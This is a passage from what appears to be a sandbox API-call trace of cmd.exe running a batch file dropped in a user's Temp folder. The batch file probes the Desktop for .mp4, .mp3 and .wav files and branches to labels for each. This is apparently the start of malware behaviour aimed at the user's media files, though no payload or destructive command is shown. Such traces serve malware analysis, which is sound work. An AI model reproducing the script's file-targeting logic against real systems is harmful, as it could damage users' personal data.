(HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0039.430] GetProcessHeap () returned 0x4e0000 [0039.430] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0039.430] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0039.431] _tell (_FileHandle=3) returned 3857 [0039.431] _close (_FileHandle=3) returned 0 [0039.431] GetFullPathNameW (in: lpFileName="*.mp4", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.mp4", lpFilePart=0x41eea8*="*.mp4") returned 0x2b [0039.431] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0039.432] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.mp4", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0039.432] GetLastError () returned 0x2 [0039.432] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0039.432] GetLastError () returned 0x6 [0039.432] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.432] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.432] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.432] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0039.432] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.433] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0039.433] SetConsoleInputExeNameW () returned 0x1 [0039.433] GetConsoleOutputCP () returned 0x1b5 [0039.433] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0039.433] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.433] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.433] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.433] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.433] SetFilePointer (in: hFile=0x74, lDistanceToMove=3857, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf11 [0039.433] GetProcessHeap () returned 0x4e0000 [0039.434] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0039.434] GetProcessHeap () returned 0x4e0000 [0039.434] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0039.434] GetProcessHeap () returned 0x4e0000 [0039.434] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0039.434] GetProcessHeap () returned 0x4e0000 [0039.434] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0039.434] GetProcessHeap () returned 0x4e0000 [0039.434] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0039.434] GetProcessHeap () returned 0x4e0000 [0039.434] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0039.434] GetProcessHeap () returned 0x4e0000 [0039.434] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0039.434] GetProcessHeap () returned 0x4e0000 [0039.434] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.434] GetProcessHeap () returned 0x4e0000 [0039.434] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0039.434] GetProcessHeap () returned 0x4e0000 [0039.434] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0039.434] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.434] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf11 [0039.434] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x171c, lpOverlapped=0x0) returned 1 [0039.434] SetFilePointer (in: hFile=0x74, lDistanceToMove=3859, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf13 [0039.435] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.mp4 goto mp4\r\n\r\n") returned 2 [0039.435] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.435] GetFileType (hFile=0x74) returned 0x1 [0039.435] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.435] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf13 [0039.435] GetProcessHeap () returned 0x4e0000 [0039.435] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.435] GetProcessHeap () returned 0x4e0000 [0039.435] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.435] _tell (_FileHandle=3) returned 3859 [0039.435] _close (_FileHandle=3) returned 0 [0039.435] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.435] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.435] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.435] SetFilePointer (in: hFile=0x74, lDistanceToMove=3859, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf13 [0039.436] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.436] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf13 [0039.436] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x171a, lpOverlapped=0x0) returned 1 [0039.436] SetFilePointer (in: hFile=0x74, lDistanceToMove=3884, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf2c [0039.436] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.mp3 goto mp3\r\n\r\n") returned 25 [0039.436] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.436] GetFileType (hFile=0x74) returned 0x1 [0039.436] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.436] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf2c [0039.436] GetProcessHeap () returned 0x4e0000 [0039.436] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.436] GetProcessHeap () returned 0x4e0000 [0039.436] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.436] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0039.436] GetProcessHeap () returned 0x4e0000 [0039.436] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0039.436] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.436] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0039.436] GetProcessHeap () returned 0x4e0000 [0039.437] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0039.437] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0039.437] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0039.437] GetProcessHeap () returned 0x4e0000 [0039.437] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0039.437] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0039.437] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0039.437] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0039.437] GetProcessHeap () returned 0x4e0000 [0039.437] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.437] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0039.437] GetProcessHeap () returned 0x4e0000 [0039.437] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0039.437] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0039.437] GetProcessHeap () returned 0x4e0000 [0039.437] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0039.437] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0039.438] _tell (_FileHandle=3) returned 3884 [0039.438] _close (_FileHandle=3) returned 0 [0039.438] GetFullPathNameW (in: lpFileName="*.mp3", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.mp3", lpFilePart=0x41eea8*="*.mp3") returned 0x2b [0039.438] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0039.438] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.mp3", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0039.439] GetLastError () returned 0x2 [0039.439] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0039.439] GetLastError () returned 0x6 [0039.439] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.439] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.439] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.439] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0039.439] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.439] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0039.440] SetConsoleInputExeNameW () returned 0x1 [0039.440] GetConsoleOutputCP () returned 0x1b5 [0039.440] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0039.440] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.440] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.440] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.440] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.440] SetFilePointer (in: hFile=0x74, lDistanceToMove=3884, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf2c [0039.440] GetProcessHeap () returned 0x4e0000 [0039.440] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0039.440] GetProcessHeap () returned 0x4e0000 [0039.440] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0039.440] GetProcessHeap () returned 0x4e0000 [0039.440] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0039.441] GetProcessHeap () returned 0x4e0000 [0039.441] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0039.441] GetProcessHeap () returned 0x4e0000 [0039.441] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0039.441] GetProcessHeap () returned 0x4e0000 [0039.441] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0039.441] GetProcessHeap () returned 0x4e0000 [0039.441] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0039.441] GetProcessHeap () returned 0x4e0000 [0039.441] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.441] GetProcessHeap () returned 0x4e0000 [0039.441] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0039.441] GetProcessHeap () returned 0x4e0000 [0039.441] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0039.441] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.441] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf2c [0039.441] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1701, lpOverlapped=0x0) returned 1 [0039.441] SetFilePointer (in: hFile=0x74, lDistanceToMove=3886, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf2e [0039.441] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.mp3 goto mp3\r\n\r\n") returned 2 [0039.441] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.441] GetFileType (hFile=0x74) returned 0x1 [0039.441] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.441] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf2e [0039.442] GetProcessHeap () returned 0x4e0000 [0039.442] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.442] GetProcessHeap () returned 0x4e0000 [0039.442] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.442] _tell (_FileHandle=3) returned 3886 [0039.442] _close (_FileHandle=3) returned 0 [0039.442] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.442] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.442] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.442] SetFilePointer (in: hFile=0x74, lDistanceToMove=3886, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf2e [0039.442] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.442] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf2e [0039.443] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x16ff, lpOverlapped=0x0) returned 1 [0039.443] SetFilePointer (in: hFile=0x74, lDistanceToMove=3911, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf47 [0039.443] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.wav goto wav\r\n\r\n") returned 25 [0039.443] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.443] GetFileType (hFile=0x74) returned 0x1 [0039.443] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.443] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf47 [0039.443] GetProcessHeap () returned 0x4e0000 [0039.443] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.443] GetProcessHeap () returned 0x4e0000 [0039.443] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.443] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0039.443] GetProcessHeap () returned 0x4e0000 [0039.443] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0039.443] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.444] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0039.444] GetProcessHeap () returned 0x4e0000 [0039.444] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0039.444] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0039.444] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0039.444] GetProcessHeap () returned 0x4e0000 [0039.444] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0039.444] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0039.444] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0039.444] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0039.444] GetProcessHeap () returned 0x4e0000 [0039.444] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.444] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0039.444] GetProcessHeap () returned 0x4e0000 [0039.444] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0039.444] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0039.444] GetProcessHeap () returned 0x4e0000 [0039.444] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0039.445] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0039.445] _tell (_FileHandle=3) returned 3911 [0039.446] _close (_FileHandle=3) returned 0 [0039.446] GetFullPathNameW (in: lpFileName="*.wav", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.wav", lpFilePart=0x41eea8*="*.wav") returned 0x2b [0039.446] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0039.446] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.wav", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0039.446] GetLastError () returned 0x2 [0039.446] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0039.446] GetLastError () returned 0x6 [0039.446] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.446] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.447] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.447] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0039.447] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.447] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0039.447] SetConsoleInputExeNameW () returned 0x1 [0039.447] GetConsoleOutputCP () returned 0x1b5 [0039.447] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0039.447] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.448] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.448] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.448] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.448] SetFilePointer (in: hFile=0x74, lDistanceToMove=3911, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf47 [0039.448] GetProcessHeap () returned 0x4e0000 [0039.448] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0039.448] GetProcessHeap () returned 0x4e0000 [0039.448] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0039.448] GetProcessHeap () returned 0x4e0000 [0039.448] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0039.448] GetProcessHeap () returned 0x4e0000 [0039.448] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0039.448] GetProcessHeap () returned 0x4e0000 [0039.448] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0039.448] GetProcessHeap () returned 0x4e0000 [0039.448] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0039.448] GetProcessHeap () returned 0x4e0000 [0039.448] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0039.448] GetProcessHeap () returned 0x4e0000 [0039.448] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.448] GetProcessHeap () returned 0x4e0000 [0039.449] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0039.449] GetProcessHeap () returned 0x4e0000 [0039.449] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0039.449] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.449] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf47 [0039.449] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x16e6, lpOverlapped=0x0) returned 1 [0039.449] SetFilePointer (in: hFile=0x74, lDistanceToMove=3913, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf49 [0039.449] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.wav goto wav\r\n\r\n") returned 2 [0039.449] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.449] GetFileType (hFile=0x74) returned 0x1 [0039.449] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.449] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf49 [0039.449] GetProcessHeap () returned 0x4e0000 [0039.449] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.449] GetProcessHeap () returned 0x4e0000 [0039.449] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.450] _tell (_FileHandle=3) returned 3913 [0039.450] _close (_FileHandle=3) returned 0 [0039.450] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.450] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.450] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.450] SetFilePointer (in: hFile=0x74, lDistanceToMove=3913, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf49 [0039.450] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.450] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf49 [0039.450] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x16e4, lpOverlapped=0x0) returned 1 [0039.450] SetFilePointer (in: hFile=0x74, lDistanceToMove=3938, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf62 [0039.450] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, 